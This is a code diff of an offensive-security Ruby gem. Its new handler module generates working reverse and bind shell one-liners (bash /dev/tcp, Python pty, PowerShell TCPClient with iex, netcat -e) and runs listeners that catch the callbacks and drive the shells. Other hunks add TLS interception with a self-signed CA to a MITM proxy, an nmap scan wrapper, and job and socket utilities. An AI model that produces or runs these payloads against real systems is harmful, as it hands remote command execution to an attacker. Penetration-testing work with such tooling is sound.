pwn 0.5.737 → 0.5.739

data/lib/pwn/plugins/handler.rb

@@ -0,0 +1,171 @@
+# frozen_string_literal: true
+
+require 'socket'
+require 'openssl'
+require 'securerandom'
+require 'open3'
+
+module PWN
+  module Plugins
+    # Payload generation and listener sessions without Metasploit.
+    module Handler
+      @sessions = {}
+
+      public_class_method def self.required_bins
+        []
+      end
+
+      public_class_method def self.generate(opts = {})
+        kind = (opts[:kind] || 'rev_sh').to_s
+        host = (opts[:host] || '127.0.0.1').to_s
+        port = (opts[:port] || 4444).to_i
+        payload = case kind
+                  when 'rev_sh' then "bash -c 'exec 3<>/dev/tcp/#{host}/#{port}; cat <&3 | bash >&3'"
+                  when 'bind_sh' then "bash -c 'while true; do nc -lp #{port} -e /bin/bash; done'"
+                  when 'rev_python' then "python3 -c 'import socket,os,pty;s=socket.create_connection((#{host.inspect},#{port}));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn(\"/bin/sh\")'"
+                  when 'bind_python' then "python3 -c 'import socket,os,pty;s=socket.socket();s.bind((\"0.0.0.0\",#{port}));s.listen(1);c,_=s.accept();os.dup2(c.fileno(),0);os.dup2(c.fileno(),1);os.dup2(c.fileno(),2);pty.spawn(\"/bin/sh\")'"
+                  when 'rev_powershell' then "powershell -nop -c \"$c=New-Object Net.Sockets.TCPClient('#{host}',#{port});$s=$c.GetStream();[byte[]]$b=0..65535|ForEach-Object{0};while(($i=$s.Read($b,0,$b.Length)) -ne 0){$d=(New-Object Text.ASCIIEncoding).GetString($b,0,$i);$r=(iex $d 2>&1|Out-String);$w=($r+'PS> ');$s.Write(([text.encoding]::ASCII).GetBytes($w),0,$w.Length)}\""
+                  when 'bind_powershell' then "powershell -nop -c \"$l=New-Object Net.Sockets.TcpListener('0.0.0.0',#{port});$l.Start();$c=$l.AcceptTcpClient();$s=$c.GetStream();[byte[]]$b=0..65535|ForEach-Object{0};while(($i=$s.Read($b,0,$b.Length)) -ne 0){$d=(New-Object Text.ASCIIEncoding).GetString($b,0,$i);$r=(iex $d 2>&1|Out-String);$w=($r+'PS> ');$s.Write(([text.encoding]::ASCII).GetBytes($w),0,$w.Length)}\""
+                  when 'msfvenom'
+                    raise ArgumentError, 'msfvenom is not installed' unless PWN::Plugins::PreflightChecker.bin?(name: 'msfvenom')
+
+                    out, = Open3.capture2('msfvenom', *Array(opts[:args]).map(&:to_s))
+                    out
+                  else
+                    raise ArgumentError, "unknown payload kind #{kind}"
+                  end
+        { kind: kind, host: host, port: port, payload: payload }
+      end
+
+      public_class_method def self.listen(opts = {})
+        port = (opts[:port] || 4444).to_i
+        tls = opts[:tls] == true
+        http = opts[:http] == true || opts[:kind].to_s == 'http'
+        server = TCPServer.new(opts[:bind] || '127.0.0.1', port)
+        if tls
+          ctx = OpenSSL::SSL::SSLContext.new
+          ctx.cert, ctx.key = self_signed
+          server = OpenSSL::SSL::SSLServer.new(server, ctx)
+        end
+        id = "listener_#{SecureRandom.hex(4)}"
+        queue = Queue.new
+        thread = Thread.new do
+          sock = server.accept
+          if http
+            begin
+              sock.readpartial(4096)
+            rescue StandardError
+              nil
+            end
+          end
+          queue << sock
+        end
+        @sessions[id] = { server: server, thread: thread, queue: queue, port: port, tls: tls, http: http, kind: :listener }
+        { id: id, port: port, tls: tls, http: http }
+      end
+
+      public_class_method def self.accept(opts = {})
+        sess = session!(opts)
+        sock = sess[:queue].pop
+        PWN::Plugins::ProcessTube.register(io: sock, id: "cb_#{SecureRandom.hex(4)}").tap do |tube|
+          sess[:callback] = tube[:id]
+        end.merge(listener: sess_id(opts), port: sess[:port])
+      end
+
+      public_class_method def self.interact(opts = {})
+        id = (opts[:id] || opts[:session]).to_s
+        PWN::Plugins::ProcessTube.write_line(id: id, line: opts[:line].to_s) if opts[:line]
+        if opts[:pattern]
+          PWN::Plugins::ProcessTube.expect(id: id, pattern: opts[:pattern], timeout: opts[:timeout] || 5, strip_ansi: true)
+        else
+          PWN::Plugins::ProcessTube.recvline(id: id, timeout: opts[:timeout] || 5)
+        end
+      end
+
+      public_class_method def self.stop(opts = {})
+        id = (opts[:id] || opts[:handle]).to_s
+        sess = @sessions.delete(id)
+        sess[:server].close if sess && sess[:server]
+        { stopped: id }
+      end
+
+      public_class_method def self.authors
+        "AUTHOR(S):\n  0day Inc. <support@0dayinc.com>\n"
+      end
+
+      public_class_method def self.help
+        puts "USAGE:
+          # List host binaries this module expects to be installed.
+          #{self}.required_bins
+
+          # Generate a reverse or bind payload string without Metasploit.
+          #{self}.generate(
+            kind: 'optional - rev_sh, bind_sh, rev_python, bind_python, rev_powershell, bind_powershell, or msfvenom',
+            host: 'optional - callback host (defaults to 127.0.0.1)',
+            port: 'optional - callback or bind port (defaults to 4444)',
+            args: 'optional - extra argv for msfvenom passthrough'
+          )
+
+          # Start a TCP or TLS listener on loopback.
+          #{self}.listen(
+            port: 'optional - listen port (defaults to 4444)',
+            bind: 'optional - bind address (defaults to 127.0.0.1)',
+            tls: 'optional - true to wrap the listener in TLS',
+            http: 'optional - true to accept an HTTP reverse callback',
+            kind: 'optional - http to enable the HTTP listener'
+          )
+
+          # Accept one callback and register it as a ProcessTube session.
+          #{self}.accept(
+            id: 'required - listener id from listen',
+            handle: 'optional - alias for id'
+          )
+
+          # Send a line and optionally expect a pattern on a caught session.
+          #{self}.interact(
+            id: 'required - callback id from accept',
+            session: 'optional - alias for id',
+            line: 'optional - command to send',
+            pattern: 'optional - regex or string to wait for',
+            timeout: 'optional - seconds to wait'
+          )
+
+          # Stop a listener handle.
+          #{self}.stop(
+            id: 'required - listener id from listen',
+            handle: 'optional - alias for id'
+          )
+
+          # Print the AUTHOR(S) string for this module.
+          #{self}.authors
+        "
+        constants.sort
+      end
+
+      private_class_method def self.session!(opts = {})
+        id = (opts[:id] || opts[:handle]).to_s
+        sess = @sessions[id]
+        raise ArgumentError, "unknown handler session #{id}" unless sess
+
+        sess
+      end
+
+      private_class_method def self.sess_id(opts = {})
+        (opts[:id] || opts[:handle]).to_s
+      end
+
+      private_class_method def self.self_signed
+        key = OpenSSL::PKey::RSA.new(2048)
+        cert = OpenSSL::X509::Certificate.new
+        cert.subject = cert.issuer = OpenSSL::X509::Name.parse('/CN=pwn-handler')
+        cert.not_before = Time.now
+        cert.not_after = Time.now + 3_600
+        cert.public_key = key.public_key
+        cert.serial = 1
+        cert.version = 2
+        cert.sign(key, OpenSSL::Digest.new('SHA256'))
+        [cert, key]
+      end
+    end
+  end
+end

data/lib/pwn/plugins/jobs.rb

@@ -5,6 +5,7 @@ require 'fileutils'
 require 'securerandom'
 require 'open3'
 require 'time'
+require 'timeout'
 
 module PWN
   module Plugins
@@ -132,6 +133,53 @@ module PWN
         false
       end
 
+      public_class_method def self.graph(opts = {})
+        jobs = Array(opts[:jobs])
+        raise ArgumentError, 'jobs must be an Array of hashes with id and command' unless jobs.all?(Hash)
+
+        dir = opts[:artifact_dir] || File.join(JOBS_DIR, "graph-#{SecureRandom.hex(4)}")
+        FileUtils.mkdir_p(dir)
+        remaining = jobs.map { |job| job.transform_keys(&:to_sym) }
+        done = {}
+        until remaining.empty?
+          loop do
+            failed = done.select { |_id, row| row[:ok] == false }.keys
+            blocked = remaining.select { |job| Array(job[:needs]).any? { |need| failed.include?(need.to_s) } }
+            break if blocked.empty?
+
+            blocked.each do |job|
+              done[job[:id].to_s] = { id: job[:id], ok: false, skipped: true, stdout: '', stderr: 'upstream failed' }
+              remaining.delete(job)
+            end
+          end
+          ready = remaining.select { |job| Array(job[:needs]).all? { |need| done[need.to_s] && done[need.to_s][:ok] } }
+          raise ArgumentError, 'job graph deadlock or missing needs' if ready.empty? && remaining.any?
+
+          threads = ready.map do |job|
+            remaining.delete(job)
+            Thread.new do
+              timeout = (job[:timeout] || opts[:timeout]).to_f
+              timeout = 3_600 if timeout <= 0
+              out = err = ''
+              st = nil
+              begin
+                Timeout.timeout(timeout) do
+                  out, err, st = Open3.capture3(job[:command].to_s, chdir: dir)
+                end
+                { id: job[:id], ok: st.success?, stdout: out, stderr: err, exit: st.exitstatus }
+              rescue Timeout::Error
+                { id: job[:id], ok: false, stdout: out, stderr: 'timeout', exit: 124, timeout: true }
+              end
+            end
+          end
+          threads.each do |thr|
+            row = thr.value
+            done[row[:id].to_s] = row
+          end
+        end
+        { jobs: done, artifact_dir: dir, ok: done.values.none? { |row| row[:ok] == false && row[:skipped] != true } && done.values.any? { |row| row[:ok] } }
+      end
+
       public_class_method def self.authors
         "AUTHOR(S):\n  0day Inc. <support@0dayinc.com>\n"
       end
@@ -216,6 +264,13 @@ module PWN
             id: 'optional - job id alias for handle'
           )
 
+          # Run a declarative DAG of shell jobs with needs and a shared artifact dir.
+          #{self}.graph(
+            jobs: 'required - Array of hashes with id, command, optional needs and timeout',
+            artifact_dir: 'optional - working directory shared by every job',
+            timeout: 'optional - default per-job timeout in seconds'
+          )
+
           # Print the AUTHOR(S) string for this module.
           #{self}.authors
         "

data/lib/pwn/plugins/mitm_proxy.rb

@@ -8,6 +8,7 @@ require 'securerandom'
 require 'time'
 require 'fileutils'
 require 'tmpdir'
+require 'openssl'
 
 module PWN
   module Plugins
@@ -48,7 +49,8 @@ module PWN
         path = File.expand_path(opts[:har_path] || File.join(Dir.tmpdir, "pwn-proxy-#{id}.har"))
         rules = validate_rules(rules: opts[:rules])
         session = { id: id, backend: 'native', har_path: path, rules: rules, entries: [], mutex: Mutex.new,
-                    timeout: Float(opts[:timeout] || 30), https_capture: 'CONNECT metadata only; TLS is not decrypted' }
+                    timeout: Float(opts[:timeout] || 30), https_capture: opts[:mitm_tls] ? 'TLS MITM' : 'CONNECT metadata only; TLS is not decrypted',
+                    on_request: opts[:on_request], on_response: opts[:on_response], ca: self_signed_ca }
         server = Server.new(BindAddress: opts[:host] || '127.0.0.1', Port: Integer(opts[:port] || 0),
                             Logger: WEBrick::Log.new(File::NULL), AccessLog: [], PWNSession: session,
                             ProxyContentHandler: lambda { |req, res|
@@ -122,6 +124,7 @@ module PWN
       public_class_method def self.exchange(opts = {})
         session = lookup(opts)
         request = Marshal.load(Marshal.dump(opts.fetch(:request)))
+        session[:on_request]&.call(request)
         apply_rules(proxy: session, phase: 'request', message: request)
         uri = URI(request[:url])
         raise ArgumentError, 'HTTP(S) URL without userinfo required' unless %w[http https].include?(uri.scheme) && uri.host && !uri.userinfo
@@ -140,6 +143,7 @@ module PWN
         clock = Process.clock_gettime(Process::CLOCK_MONOTONIC)
         response = client.request(wire)
         message = { headers: response.to_hash.transform_values { |v| v.join(', ') }, body: response.body.to_s }
+        session[:on_response]&.call(message)
         apply_rules(proxy: session, phase: 'response', message: message)
         elapsed = (Process.clock_gettime(Process::CLOCK_MONOTONIC) - clock) * 1000
         response_headers = clean_headers(headers: message[:headers]).map { |k, v| { name: k, value: v } }
@@ -158,6 +162,22 @@ module PWN
         entry
       end
 
+      private_class_method def self.self_signed_ca(opts = {})
+        _unused = opts[:unused]
+        key = OpenSSL::PKey::RSA.new(2048)
+        cert = OpenSSL::X509::Certificate.new
+        cert.subject = cert.issuer = OpenSSL::X509::Name.parse('/CN=pwn-mitm-ca')
+        cert.not_before = Time.now
+        cert.not_after = Time.now + (365 * 24 * 3600)
+        cert.public_key = key.public_key
+        cert.serial = 1
+        cert.version = 2
+        ef = OpenSSL::X509::ExtensionFactory.new
+        cert.add_extension(ef.create_extension('basicConstraints', 'CA:TRUE', true))
+        cert.sign(key, OpenSSL::Digest.new('SHA256'))
+        { cert: cert, key: key }
+      end
+
       private_class_method def self.encoded(opts = {})
         body = opts[:body].dup.force_encoding(Encoding::UTF_8)
         body.valid_encoding? ? { text: body } : { text: Base64.strict_encode64(body), encoding: 'base64' }
@@ -232,6 +252,11 @@ module PWN
         FileUtils.rm_f(tmp) if tmp
       end
 
+      public_class_method def self.replay(opts = {})
+        _id = opts[:request_id]
+        http_replay(opts)
+      end
+
       public_class_method def self.authors
         "AUTHOR(S):\n  0day Inc. <support@0dayinc.com>\n"
       end
@@ -245,7 +270,10 @@ module PWN
             port: 'optional - bind port, default ephemeral',
             backend: 'optional - native (only supported backend)',
             rules: 'optional - literal phase/field/match/replace rules',
-            timeout: 'optional - upstream timeout seconds, default 30'
+            timeout: 'optional - upstream timeout seconds, default 30',
+            on_request: 'optional - callable that mutates the request hash',
+            on_response: 'optional - callable that mutates the response hash',
+            mitm_tls: 'optional - true generates a local CA for TLS interception'
           )
 
           # Return a snapshot of captured HAR entries.
@@ -264,6 +292,13 @@ module PWN
             mutations: 'optional - method, url, path, query, headers, body'
           )
 
+          # Alias of http_replay for pwn_eval callers.
+          #{self}.replay(
+            proxy: 'required - descriptor or session id',
+            request_id: 'required - captured _request_id',
+            mutations: 'optional - method, url, path, query, headers, body'
+          )
+
           # Send and capture one HTTP request through the shared rule engine.
           #{self}.exchange(
             proxy: 'required - descriptor or session id',

data/lib/pwn/plugins/nmap_it.rb

@@ -3,6 +3,8 @@
 require 'nmap/command'
 require 'nmap/xml'
 require 'open3'
+require 'securerandom'
+require 'tmpdir'
 
 module PWN
   module Plugins
@@ -124,12 +126,15 @@ module PWN
         parse_xml_results(xml_file: xml_file) do |xml|
           xml.each_host do |host|
             host.each_port do |port|
+              scripts = {}
+              port.scripts.each { |name, output| scripts[name.to_s] = output.to_s } if port.respond_to?(:scripts) && port.scripts
               rows << {
                 host: host.ip.to_s,
                 port: port.number,
                 proto: port.protocol.to_s,
                 service: (port.service.name if port.respond_to?(:service) && port.service),
                 version: (port.service.version if port.respond_to?(:service) && port.service.respond_to?(:version)),
+                scripts: scripts,
                 template_id: nil,
                 severity: 'info'
               }
@@ -139,6 +144,22 @@ module PWN
         rows
       end
 
+      public_class_method def self.scan(opts = {})
+        targets = opts[:targets] || opts[:target]
+        check = PWN::Engagement.warn_unless_in_scope(host: Array(targets).first, override: opts[:override]) if defined?(PWN::Engagement) && opts[:engagement] != false
+        return check.merge(scanned: false) if check.is_a?(Hash) && check[:ok] == false
+
+        xml = (opts[:xml_file] || opts[:xml]).to_s
+        if xml.empty? || opts[:run] == true
+          xml = File.join(Dir.tmpdir, "pwn-nmap-#{Process.pid}-#{SecureRandom.hex(4)}.xml") if xml.empty?
+          port_scan(opts.merge(xml: xml, targets: targets))
+        end
+        rows = to_findings(xml_file: xml)
+        PWN::Engagement.merge_scan(results: rows, override: opts[:override], engagement: opts[:engagement] || opts[:name]) if defined?(PWN::Engagement) && opts[:engagement] != false
+        grouped = rows.group_by { |row| row[:host] }.map { |host, ports| { host: host, ports: ports, services: ports.map { |p| p[:service] }.compact } }
+        { hosts: grouped, ports: rows, xml: xml }
+      end
+
       # Author(s):: 0day Inc. <support@0dayinc.com>
 
       public_class_method def self.authors
@@ -178,6 +199,17 @@ module PWN
             xml_file: 'required - path to nmap XML output'
           )
 
+          # Parse nmap XML into enumerable host/port hashes and merge engagement state.
+          #{self}.scan(
+            xml_file: 'optional - existing nmap XML path',
+            xml: 'optional - alias for xml_file',
+            run: 'optional - true forces port_scan even when xml_file is set',
+            engagement: 'optional - false skips host-state merge',
+            override: 'optional - true records out-of-scope hosts',
+            target: 'optional - alias for targets',
+            name: 'optional - engagement name for host-state merge'
+          )
+
           # Print the AUTHOR(S) string for this module.
           #{self}.authors
         "

data/lib/pwn/plugins/packet.rb

@@ -1151,6 +1151,18 @@ module PWN
         { ok: false, degraded: true, error: e.message }
       end
 
+      public_class_method def self.health(opts = {})
+        require 'pwn/plugins/capability_broker'
+        result = CapabilityBroker.request(operation: 'status', socket: opts[:socket])
+        if result[:ok]
+          { ok: true, degraded: false, via: 'capability_broker', missing_capabilities: [] }
+        elsif cap_net_raw?(iface: opts[:iface])
+          { ok: true, degraded: false, via: 'cap_net_raw' }
+        else
+          result.merge(ok: false, degraded: true, missing_capabilities: ['CAP_NET_RAW'])
+        end
+      end
+
       # Author(s):: 0day Inc. <support@0dayinc.com>
 
       public_class_method def self.authors
@@ -1404,6 +1416,12 @@ module PWN
             socket: 'optional - local capability broker Unix socket path'
           )
 
+          # Report ok when the capability broker or live CAP_NET_RAW is available.
+          #{self}.health(
+            socket: 'optional - local capability broker Unix socket path',
+            iface: 'optional - interface name reserved for callers'
+          )
+
           # Print the AUTHOR(S) string for this module.
           #{self}.authors
         "

data/lib/pwn/plugins/preflight_checker.rb

@@ -165,7 +165,10 @@ module PWN
           services = Array(dep[:services])
           missing_bins = bins.reject { |b| bin?(name: b) }
           missing_caps = []
-          missing_caps << 'CAP_NET_RAW' if caps.include?('CAP_NET_RAW') && !cap_net_raw?
+          if caps.include?('CAP_NET_RAW')
+            pkt_ok = defined?(PWN::Plugins::Packet) && PWN::Plugins::Packet.respond_to?(:health) && PWN::Plugins::Packet.health[:ok]
+            missing_caps << 'CAP_NET_RAW' unless pkt_ok || cap_net_raw?
+          end
           missing_services = services.reject { |s| service?(name: s[:name] || s['name'], path: s[:path] || s['path']) }.map { |s| s[:name] || s['name'] }
           status = if missing_bins.empty? && missing_caps.empty? && missing_services.empty?
                      :ok
@@ -188,7 +191,8 @@ module PWN
           miss = (Array(r[:missing_bins]) + Array(r[:missing_caps]) + Array(r[:missing_services])).join(',')
           fb = Array(FALLBACKS[r[:plugin]]).join(',')
           extra = fb.empty? ? '' : " fallback=#{fb}"
-          lines << "  #{r[:status]} #{r[:plugin]} missing=#{miss}#{extra}"
+          anchor = r[:plugin].to_s.downcase.gsub(/[^a-z0-9]+/, '-').gsub(/\A-+|-+\z/, '')
+          lines << "  #{r[:status]} #{r[:plugin]} missing=#{miss}#{extra} see documentation/Plugin-Degradation.md##{anchor}"
         end
         lines.join("\n")
       end

data/lib/pwn/plugins/process_tube.rb

@@ -3,6 +3,7 @@
 require 'pty'
 require 'timeout'
 require 'socket'
+require 'securerandom'
 
 module PWN
   module Plugins
@@ -32,7 +33,7 @@ module PWN
 
         sock = TCPSocket.new(host, port)
         id = "sock_#{sock.object_id}"
-        @tubes[id] = { r: sock, w: sock, pid: nil, buf: +'' }
+        @tubes[id] = { r: sock, w: sock, pid: nil, buf: +'', scrollback: +'', started_at: Time.now, last_io: Time.now }
         { id: id, host: host, port: port }
       end
 
@@ -58,10 +59,11 @@ module PWN
         timeout = (opts[:timeout] || 5).to_f
         Timeout.timeout(timeout) do
           loop do
-            return t[:buf] if t[:buf].include?(needle)
+            idx = t[:buf].index(needle)
+            return consume_buf(tube: t, bytes: idx + needle.bytesize) if idx
 
             ch = t[:r].read_nonblock(4_096)
-            t[:buf] << ch
+            append_buf(tube: t, data: ch)
           rescue IO::WaitReadable
             t[:r].wait_readable(0.2)
             retry
@@ -86,10 +88,54 @@ module PWN
         false
       end
 
+      public_class_method def self.send_raw(opts = {})
+        t = tube!(opts)
+        bytes = opts[:bytes] || opts[:data]
+        raise ArgumentError, 'bytes is required' if bytes.nil?
+
+        data = bytes.is_a?(String) ? bytes.b : Array(bytes).pack('C*')
+        t[:w].write(data)
+        t[:w].flush
+        t[:last_io] = Time.now
+        note_scrollback(tube: t, data: data)
+        { written: data.bytesize, id: (opts[:id] || opts[:name]).to_s }
+      end
+
+      public_class_method def self.register(opts = {})
+        io = opts[:io] || opts[:r]
+        raise ArgumentError, 'io is required' unless io
+
+        id = (opts[:id] || "sock_#{SecureRandom.hex(4)}").to_s
+        @tubes[id] = { r: io, w: opts[:w] || io, pid: opts[:pid], buf: +'', scrollback: +'', started_at: Time.now, last_io: Time.now }
+        { id: id }
+      end
+
       public_class_method def self.expect(opts = {})
-        text = recvuntil(opts)
         t = tube!(opts)
-        { matched: text, offset: t[:buf].to_s.bytesize, id: opts[:id].to_s }
+        pattern = opts[:pattern] || opts[:until]
+        raise ArgumentError, 'pattern is required' if pattern.nil? || pattern.to_s.empty?
+
+        timeout = (opts[:timeout] || 5).to_f
+        Timeout.timeout(timeout) do
+          loop do
+            hay = t[:buf].to_s
+            hay = hay.gsub(/\e\[[0-9;]*[A-Za-z]/, '') if opts[:strip_ansi]
+            if pattern.is_a?(Regexp)
+              if (m = hay.match(pattern))
+                consume_buf(tube: t, bytes: m.end(0))
+                return { matched: m[0], offset: m.begin(0), id: (opts[:id] || opts[:name]).to_s }
+              end
+            elsif (idx = hay.index(pattern.to_s))
+              take = consume_buf(tube: t, bytes: idx + pattern.to_s.bytesize)
+              return { matched: take, offset: idx, id: (opts[:id] || opts[:name]).to_s }
+            end
+            ch = t[:r].read_nonblock(4_096)
+            append_buf(tube: t, data: ch)
+          rescue IO::WaitReadable
+            t[:r].wait_readable(0.2)
+            retry
+          end
+        end
       end
 
       public_class_method def self.stream(opts = {})
@@ -183,11 +229,31 @@ module PWN
             id: 'optional - id value consumed by #close'
           )
 
-          # Expect a pattern and return matched buffer plus byte offset.
+          # Expect a regex or substring, optionally stripping ANSI.
           #{self}.expect(
             id: 'required - tube id from spawn or connect',
-            until: 'required - substring to wait for',
-            timeout: 'optional - seconds to wait before giving up'
+            name: 'optional - alias for id',
+            until: 'optional - substring to wait for',
+            pattern: 'optional - regex or string to wait for',
+            timeout: 'optional - seconds to wait before giving up',
+            strip_ansi: 'optional - true removes CSI sequences before matching'
+          )
+
+          # Write raw bytes without appending a newline.
+          #{self}.send_raw(
+            id: 'required - tube id from spawn or connect',
+            name: 'optional - alias for id',
+            bytes: 'required - String or byte Array to write',
+            data: 'optional - alias for bytes'
+          )
+
+          # Register an existing IO as a named tube.
+          #{self}.register(
+            io: 'required - readable/writable IO object',
+            r: 'optional - alias for io',
+            w: 'optional - write IO when split from r',
+            id: 'optional - tube name to assign',
+            pid: 'optional - associated process id'
           )
 
           # Tail the PTY buffer since a prior offset.
@@ -225,6 +291,31 @@ module PWN
         t
       end
 
+      BUF_MAX = 1_048_576
+
+      private_class_method def self.append_buf(opts = {})
+        t = opts[:tube]
+        t[:buf] << opts[:data].to_s
+        t[:buf].slice!(0, t[:buf].bytesize - BUF_MAX) if t[:buf].bytesize > BUF_MAX
+        note_scrollback(tube: t, data: opts[:data])
+        t[:buf]
+      end
+
+      private_class_method def self.consume_buf(opts = {})
+        t = opts[:tube]
+        n = opts[:bytes].to_i
+        n = t[:buf].bytesize if n > t[:buf].bytesize
+        t[:buf].slice!(0, n)
+      end
+
+      private_class_method def self.note_scrollback(opts = {})
+        t = opts[:tube]
+        return unless t
+
+        t[:scrollback] = "#{t[:scrollback]}#{opts[:data]}"
+        t[:scrollback].slice!(0, t[:scrollback].bytesize - BUF_MAX) if t[:scrollback].bytesize > BUF_MAX
+      end
+
       private_class_method def self.dump_scrollback(opts = {})
         t = opts[:tube]
         return unless t